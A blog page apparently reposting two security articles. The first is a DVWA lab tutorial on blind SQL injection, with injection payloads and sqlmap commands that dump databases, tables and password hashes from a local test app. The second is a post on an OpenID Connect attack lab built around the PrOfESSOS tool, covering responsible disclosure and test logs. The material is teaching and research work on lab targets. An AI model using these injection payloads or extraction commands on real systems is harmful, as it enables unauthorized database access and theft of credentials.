Number One In Google Local Search: May 2023

Wednesday, May 31, 2023

Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

In this article we are going to do the SQL Injection (Blind) challenge of DVWA.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible."

To follow along click on the SQL Injection (Blind) navigation link. You will be presented with a page like this:

Lets first try to enter a valid User ID to see what the response looks like. Enter 1 in the User ID field and click submit. The result should look like this:

Lets call this response as valid response for the ease of reference in the rest of the article. Now lets try to enter an invalid ID to see what the response for that would be. Enter something like 1337 the response would be like this:

We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:

' or 1=1-- -

This returns a valid response. Which means our query is complete and executes without errors. Lets try to figure out the size of the query output columns like we did with the sql injection before in Learning Web Pentesting With DVWA Part 2: SQL Injection.
Enter the following in the User ID field:

' or 1=1 order by 1-- -

Again we get a valid response lets increase the number to 2.

' or 1=1 order by 2-- -

We get a valid response again lets go for 3.

' or 1=1 order by 3-- -

We get an invalid response so that confirms the size of query columns (number of columns queried by the server SQL statement) is 2.
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:

1' and substring(version(), 1,1) = 1-- -

Since we don't see any output we have to extract data character by character. Here we are trying to guess the first character of the string returned by version() function which in my case is 1. You'll notice the output returns a valid response when we enter the query above in the input field.
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:

1' and substring(version(),1,1) = 2-- -

And we get the invalid response. To determine the second character of the string returned by the version() function, we will write our query like this:
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:

sqlmap --version

this will print the version of your sqlmap installation otherwise it will give an error indicating the package is not installed on your computer. If its not installed then go ahead and install it.
Now type the following command to get the names of the databases:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id

Here replace the PHPSESSID with your session id which you can get by right clicking on the page and then clicking inspect in your browser (Firefox here). Then click on storage tab and expand cookie to get your PHPSESSID. Also your port for dvwa web app can be different so replace the URL with yours.
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables

After getting the list of tables its time to dump the columns of users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns

And at last we will dump the passwords column of the users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump

Now you can see the password hashes.
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all

But obviously it is time and resource consuming so we only extracted what was interested to us rather than dumping all the stuff.
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.

References:

1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection
2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp

More info

Security Analysis In An OpenID Connect Lab Environment

In this post, Christian Fries shows an approach to unveil security flaws in OpenID Connect Certified implementations with well-known attack methods. One goal of the master's thesis Security Analysis of Real-Life OpenID Connect Implementations was to provide a platform for developers and security researchers to test implementations in a reproducible and maintainable OIDC lab environment.

We included six OpenID Provider (OP) and eight Relying Party (RP) services in the lab environment. For the comprehensive security analysis, we tested the implementations against eleven Relying Party attacks and seven OpenID Provider attacks in different variations with our tool PrOfESSOS. In addition, we carried out manual tests as well. We have disclosed twelve implementation flaws and reported them to the developers in a responsible disclosure process.

Two developer teams fixed (✔) the vulnerabilities before the deadline of the master's thesis. One Redirect URI Manipulation vulnerability was rejected (✖). This particular case can be permissible for only one registered URI for reasons of interoperability and fault tolerance. We informed three further development teams (✦).

Name	Vulnerability	Fixed	CVE
MITREid Connect	PKCE Downgrade Attack	✦
mod auth openidc	ID Spoofing, JWKS Spoofing	✔
node oidc-provider	Redirect URI Manipulation	✖
OidcRP	Replay Attack	✦
phpOIDC	Message Flow Confusion, ID Spoofing, Key Confusion	✦
pyoidc	Replay Attack, Signature Manipulation, Token Recipient Confusion	✔	CVE-2020-26244

We explain the method of how we have archived this result in the following sections.

Introduction

The OpenID Connect protocol framework defines three basic flows, Authorization Code Flow (or just Code Flow), Implicit Flow, and Hybrid Flow. OAuth 2.0, which is the foundation of OpenID Connect, introduces several extensions. One of the latest extensions is Code Flow with PKCE (Proof Key for Code Exchange, RFC7636).

Compliance with the specification requirements is essential for application security. Settings and parameter conditions are changed. For example, in Code Flow, a nonce parameter in the Authentication Request is optional but required for the Implicit Flow. The developers have to deal with such changes. They end up implementing several code branches and various state machines. The implementation's code complexity naturally increases if it supports more features and extensions. This complexity implies that minor changes with only one specific flow in mind can introduce a security issue in another flow.

Various well-known attacks are published in different papers and several mitigations are mentioned in best practice guides. One tool, which can perform the fully automated evaluation of services with generic attack vectors, is PrOfESSOS.

PrOfESSOS

PrOfESSOS is our evaluation as a Service (EaaS) security tool. We have implemented significant improvements into it over the past few years. The latest version can simulate a malicious RP that can carry out the attacks against an OP. In addition, PrOfESSOS can simulate an honest and a malicious OP to perform Single-Phase and Cross-Phase attacks. A penetration tester can access the RESTful API directly or the Web UI to start an evaluation.

Supported attacks on Relying Parties

Single Phase	# Attack Patterns	Cross Phase	# Attack Patterns
ID Spoofing	12	Issuer Confusion	1
Replay Attack	6	IdP Confusion	1
Key Confusion	13	Malicious Endpoint Attack	1
Signature Manipulation	4	Session Overwriting	2
Cross Site Request Forgery	3
Token Recipient Confusion	3
Token Substitution	2

Supported attacks on OpenID Provider

Attack	# Attack Patterns
Authorization Code Reuse and Substitution	5
Redirect URI Manipulation	15
Open Redirector	1
Client Authentication Bypass	15
Message Flow Confusion	2
PKCE Downgrade Attack	5
Sub Claim Spoofing	5

The Lab Environment

Overview

A developer or security researcher needs a running web application to start an evaluation. One way to create an analysis is to execute the web application and evaluation tools on a local development machine. This approach might be a practical compromise for small-scale projects. For multiple instances of applications with different configurations, this approach can be cumbersome. Docker containers can help here. Various RP and OP already offer a container setup, or there are examples of creating Dockerfiles, at least. It is possible to have reproducible build results through the container concept. In addition, this approach enables us to store static configuration files and SQL dumps for a specific instance.

We introduced three networks running on a server for our lab environment setup. The ProfNET for all evaluation tools can be controlled and debugged from a remote client. Furthermore, we added a RPNet for all Relying Parties and an OPNet for all OpenID Provider. The MitMProxy connects the networks and the users' browser. It allows us to observe and manipulate every http(s) communication in front- and back-channel.

Setup

Server Side

It is only required to checkout the oidc-docker-libs. The docker-compose setup can be built and run with:

git clone https://github.com/RUB-NDS/oidc-docker-libs docker-compose build docker-compose up -d

The following ports are used by the lab: 8787, 9990, 8888, 8042, 8080, 8081. You should ensure that you don't have service running on those ports.

The docker-compose provides the possibility to run only a small subset, for example:

docker-compose up -d professos mitmproxy mitreid-server

Docker Structure

The basic idea of our docker containers is to build from sources in a more or less generic way. We intended that each application runs as a completely independent unit. The application configuration can be performed with build arguments, environment variables, or complete SQL dumps.

You can see that we structured a Dockerfile in four blocks:

FROM ubuntu:18.04  ARG BRANCH=v3 ARG FLOW=implicit ARG CONTROLLER_URL ARG SERVER_HOST  # Setup the application ENV APPDIR /opt/app WORKDIR ${APPDIR} RUN git clone --depth=1 --branch=$BRANCH https://github.com/YOU/YOUR_APP RUN cd YOUR_APP \     && echo config=$FLOW >> configuration_file \     && ./build  # deploy automatically created certs ARG CA_DIR="/certs" ARG CA_CERT="oidc-ca.crt" VOLUME ["$CA_DIR"]  # Configure apache or nginx COPY config/apache-ssl.conf /etc/apache2/sites-available/ssl.conf RUN sed -i "s#SERVER_HOST#$SERVER_HOST#g" /etc/apache2/sites-available/ssl.conf RUN a2enmod headers ssl proxy proxy_http rewrite && a2ensite ssl RUN echo "https://$CONTROLLER_URL" > /var/www/html/.professos  # Start the application and apache/nginx server COPY docker-entrypoint.sh ${SUBDIR}/ WORKDIR ${SUBDIR} ENTRYPOINT ["./docker-entrypoint.sh"]

From this point, it is possible to add two or more configured instances to the docker-compose.yml file. Every instance can be tested independently and without influencing each other. This independence enables us to test various switches, e.g., different flows or authentication methods in different combinations.

app1-implicit:     build:       context: rp/app1       args:         FLOW: "implicit"         CONTROLLER_URL: ${CONTROLLER_HOST}         CLIENT_HOST: ${APP1-IMPLICIT}     depends_on:       - certs     volumes:       - certs:/certs:ro     env_file:       - .proxy_env     environment:       CA_DIR: ${CA_DIR}       CA_CERT: ${CA_CERT}       VIRTUAL_HOST: ${APP1-IMPLICIT}     networks:       - rpnet       - profnet

app1-code:   build:     context: rp/app1     args:       FLOW: "code"           CONTROLLER_URL: ${CONTROLLER_HOST}       CLIENT_HOST: ${APP1-CODE}   depends_on:     - certs   volumes:     - certs:/certs:ro   env_file:     - .proxy_env   environment:     CA_DIR: ${CA_DIR}     CA_CERT: ${CA_CERT}     VIRTUAL_HOST: ${APP1-CODE}   networks:     - rpnet     - profnet

Client Side

The user solely has to establish a proxy connection to SERVERIP:8080. For example, in Firefox, the addon FoxyProxy can switch easily between different proxy settings.

It is advisable to install the generated Root-CA (oidc-ca.crt) in the browsers' certification store. Otherwise, self-signed certification warnings will be displayed. After the web browser is connected to the proxy, it should be possible to reach the landing page https://lab.

Automatic Tests with PrOfESSOS

We have two options for automatic tests with PrOfESSOS. We can either use the Web UI at https://professos, or call the RESTful API methods directly. Both options require a configuration file with target information. PrOfESSOS requires this information to find all needed URLs and parameter fields to login with selenium scripts.

You can use the following JSON file for the MITREid Connect Client:

{   "UrlClientTarget": "https://mitreid-client/simple-web-app/login",   "InputFieldName": "identifier",   "SeleniumScript": "",   "FinalValidUrl": "https://mitreid-client/simple-web-app/",   "HonestUserNeedle": "{sub=honest-op-test-subject, iss=https://honest-idp.professos/CHANGE_ME}",   "EvilUserNeedle": "{sub=evil-op-test-subject, iss=https://attack-idp.professos/CHANGE_ME}",   "ProfileUrl": "https://mitreid-client/simple-web-app/user" }

Only the CHANGE_ME parameter must be replaced manually with the displayed Test ID, as you can see in the following screenshot. The Test ID represents a unique OP address. This allows parallel testing as long as the implementation supports Dynamic Registration.

After clicking the "Learn" button, PrOfESSOS tries to log in with the honest and evil OP. Note that it takes a while until the process is finished.

If everything has worked as expected, PrOfESSOS displays a green checkmark. Otherwise, the UI provides minor logs and a few screenshots until the error has occurred. The MitMProxy Web UI can be a helpful additional tool to debug such issues.

On success, explicit tests or all tests can be executed. Each test step provides a small description and a test execution log.

The other option to start these tests is to use the RESTful API. Therefore, we provide a python cli tool in the oidc-docker-libs/oidc-lab-scripts folder. For all currently implemented RP and OP solutions, we have stored the json configurations. After starting the cli tool you solely need to select a target and run a complete test. An HTML report is also created which can be shared with collaborators.

#> ./cli.py [*] Professos CLI started Starting Control Center for Professos! cli> load rp mitreid-client  Start session default cli>> rp> mitreid-client> full_test Create new test plan: TestId = 6RZmcJHNd6o Learn: {     "HonestWebfingerResourceId": "https://honest-idp.professos/6RZmcJHNd6o",     "EvilWebfingerResourceId": "https://attack-idp.professos/6RZmcJHNd6o",     "UrlClientTarget": "https://mitreid-client/simple-web-app/login",     "InputFieldName": null,     "SeleniumScript": "",     "FinalValidUrl": "https://mitreid-client/simple-web-app",     "HonestUserNeedle": "{sub=honest-op-test-subject, iss=https://honest-idp.professos/6RZmcJHNd6o}",     "EvilUserNeedle": "{sub=evil-op-test-subject, iss=https://attack-idp.professos/6RZmcJHNd6o}",     "ProfileUrl": "https://mitreid-client/simple-web-app/user",     "Type": "de.rub.nds.oidc.test_model.TestRPConfigType" } ================================================================================ Run Test Step [0]: ID Spoofing 1 - ID Token (sub) - PASS ================================================================================ Run Test Step [1]: ID Spoofing 2 - ID Token (sub+iss) - PASS ================================================================================

Semi-Automated and Manual Tests

The MitMProxy can intercept and manipulate front and backend communication for minor manual tests. For example, the MITREid Connect client can perform user authentication with Keycloak as the OpenID provider. To simulate a redirect URI attack, you can intercept the Authentication Request or Token Request and manipulate the values.

Another reproducible way is to combine a specific PrOfESSOS attack, and a prepared script that is uploaded to the MitM scripting interface. Therefore, we added a server application to the MitM scripting interface, which can be controlled with the lab script cli tool.

We used such a workflow to check if a special redirect URI is vulnerable to an XSS attack. You can try it on your own. The command to prepare this attack is:

./cli.py [*] Professos CLI started Starting Control Center for Professos! cli> load op mitreid-server  Start session default cli>> op> mitreid-server> create Create new test plan: TestId = vWmdL4XHe2w cli>> op> mitreid-server> learn Learn: {     "HonestRpResourceId": "https://rp.professos/vWmdL4XHe2w",     "EvilRpResourceId": "https://evilrp.professos/vWmdL4XHe2w",     "UrlOPTarget": "https://mitreid-server/oidc-server",     "OPMetadata": "",     "AccessToken1": "",     "AccessToken2": "",     "User1Name": "user1",     "User2Name": "user2",     "User1Pass": "user1pass",     "User2Pass": "user2pass",     "LoginScript": "",     "ConsentScript": "",     "Client1Config": "",     "Client2Config": "",     "Type": "de.rub.nds.oidc.test_model.TestOPConfigType" } cli>> op> mitreid-server> run_pyscript pentest/mitreid-server-redirect.py Received: OK Received: OK cli>> op> mitreid-server> run 48 ================================================================================ Run Test Step [48]: Custom 1 - Redirect URI - PASS cli>> op> mitreid-server> export cli>> op> mitreid-server> report

As a result, in the screenshot you can see that our javascript was escaped correctly.

Another new feature for RP tests is to expose a specific attack pattern with PrOfESSOS and go through the login process manually with a browser. This is archived with the cli and the expose command. If you want to test, execute these commands:

./cli.py [*] Professos CLI started Starting Control Center for Professos! cli> load rp mitreid-client  Start session default cli>> rp> mitreid-client> create Create new test plan: TestId = hDOAisJy9OE cli>> rp> mitreid-client> learn Learn: {     "HonestWebfingerResourceId": "https://honest-idp.professos/hDOAisJy9OE",     "EvilWebfingerResourceId": "https://attack-idp.professos/hDOAisJy9OE",     "UrlClientTarget": "https://mitreid-client/simple-web-app/login",     "InputFieldName": null,     "SeleniumScript": "",     "FinalValidUrl": "https://mitreid-client/simple-web-app",     "HonestUserNeedle": "{sub=honest-op-test-subject, iss=https://honest-idp.professos/hDOAisJy9OE}",     "EvilUserNeedle": "{sub=evil-op-test-subject, iss=https://attack-idp.professos/hDOAisJy9OE}",     "ProfileUrl": "https://mitreid-client/simple-web-app/user",     "Type": "de.rub.nds.oidc.test_model.TestRPConfigType" } cli>> rp> mitreid-client> expose --test 3

Start login at https://mitreid-client/simple-web-app/login
For the OpenID Provider use the exposed attacker OP address https://attack-idp.professos/CHANGE_ME which can be copied from the learn step.
The browser should display a simple message: Authentication Failed: Id Token Issuer is null -> Our attack was unsuccessful
The honest OP address can be used to compare the result with a successful login attempt.

References

Acknowledgement

The master's thesis was supervised by Vladislav Mladenov, Christian Mainka, and Jörg Schwenk. Thank you for the support and opportunity to write this thesis.

Author of this Post

Christian Fries

Number One In Google Local Search